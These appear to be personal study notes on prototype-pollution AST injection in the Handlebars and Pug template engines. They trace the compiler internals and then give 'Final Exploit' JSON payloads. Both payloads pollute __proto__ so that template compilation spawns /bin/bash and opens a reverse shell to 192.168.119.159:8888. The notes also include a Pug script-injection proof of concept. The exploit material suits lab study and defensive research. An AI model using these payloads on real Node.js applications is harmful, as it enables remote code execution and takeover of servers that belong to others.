- Resource: https://blog.p6.is/AST-Injection/
Handlebars Template Injection
Steps:
- Understand how templating works (From tokenizer to compilation)
- Find prototype pollution in template function - unset variable + appending to existing variable
content = this.pendingContent + content;
- Find where the function is called:
this.opcode('appendContent', content.value);- Test in Interactive CLI
- Code is pushed to the following location:
this.source.push(this.appendToBuffer(this.source.quotedString(this.pendingContent), this.pendingLocation));- quotedString:
quotedString: function quotedString(str) {}filters the double quotation mark
- Working backwards to find where appendEscaped is called:
MustacheStatement: function MustacheStatement(mustache) {...this.opcode('appendEscaped');}
- We could search for a statement that pushes content without escaping it in
compiler/compiler.jsthis.opcode('pushString', string.value);–> pushString has escapingast = Handlebars.parse('{{someHelper "some string" 12345 true undefined null}}')–> Test for all the literals in template
Interactive CLI:
Handlebars = require("handlebars")ast = Handlebars.parse('{{someHelper "some string" 12345 true undefined null}}')ast.body[0].params[1]–> Traverse objectHandlebars.precompile(ast)–> Precompileast.body[0].params[1].value = "console.log('haxhaxhax')"–> Change value inside ASTprecompiled = Handlebars.precompile(ast)–> Precompile againeval("compiled = " + precompiled)–> Precompile to compiledtem = Handlebars.template(compiled)tem({})
Exploit:
- Trick “Program” to be executed by modifying Object.prototype.type

- Debug, find and fix errors that occur –> Check “caught exceptions” and “uncaught exceptions” to jump to issue in Debugger.
Final Exploit:

"__proto__":{"type": "Program","body":[{"type": "MustacheStatement", "path":0, "loc": 0, "params": [ { "type": "BooleanLiteral", "value": "net = global.process.mainModule.require('net'), sh = global.process.mainModule.require('child_process').exec('/bin/bash'), client = new net.Socket(), client.connect(8888, '192.168.119.159', function() {client.pipe(sh.stdin); sh.stdout.pipe(client); sh.stderr.pipe(client);})" } ]}]}
TEMPLATING_ENGINE=hbs docker-compose -f ~/chips/docker-compose.yml up- Main functionality in handlebars/compiler

- Tokenizer/Lexer –> Intermediate Code Representation (AST) –> Compilation –> Function is executed
Parse: Tokenizer to AST
Handlebars = require("handlebars")
ast = Handlebars.parse("hello {{ foo }}") --> Creates an AST
Handlebars.parse(ast) --> Returns the AST
Precompile: AST to Compiled opcode
precompiled = Handlebars.precompile(ast) --> Compile AST to opcode
eval("compiled = " + precompiled) --> Use eval to compile opcode to function (only important for precompiled)
hello = Handlebars.template(compiled) --> Compile opcode and execute the template function
hello({"foo": "student"})
**Finding a vulnerability in the templating process**
+ Let's start by working backwards in the template generation process. The farther in the process that we find the injection point, the higher the likelihood that our injection will have a noticeable difference in the output.
+ A potentially unset variable (this.pendingContent) is appended to an existing variable (content).
<img width="645" alt="image" src="https://user-images.githubusercontent.com/45024645/170028623-edeb7dd9-a827-4d2e-849f-43b01603bb02.png">
```javascript
{}.__proto__.pendingContent = "haxhaxhax" // pollution
precompiled = Handlebars.precompile(ast) // "return \"haxhaxhaxhello \"\n' +"
eval("compiled = " + precompiled)
hello = Handlebars.template(compiled)
hello({"foo": "student"})

Pug Template Injection
const pug = require('pug');
Object.prototype.block = {"type":"Text","val":`<script>alert(origin)</script>`};
const source = `h1= msg`;
var fn = pug.compile(source, {});
var html = fn({msg: 'It works'});
console.log(html); // <h1>It works<script>alert(origin)</script></h1>

- Search for value that can be override and not predefined (ast.block) in this case.
if[ ]+\([a-zA-Z]+\.[a-zA-Z]+\)[ ]+\{–> Regex
"__proto__":{"block": {"type":"Text","line":"net = global.process.mainModule.require('net'), sh = global.process.mainModule.require('child_process').exec('/bin/bash'), client = new net.Socket(), client.connect(8888, '192.168.119.159', function() {client.pipe(sh.stdin); sh.stdout.pipe(client); sh.stderr.pipe(client);})"}}
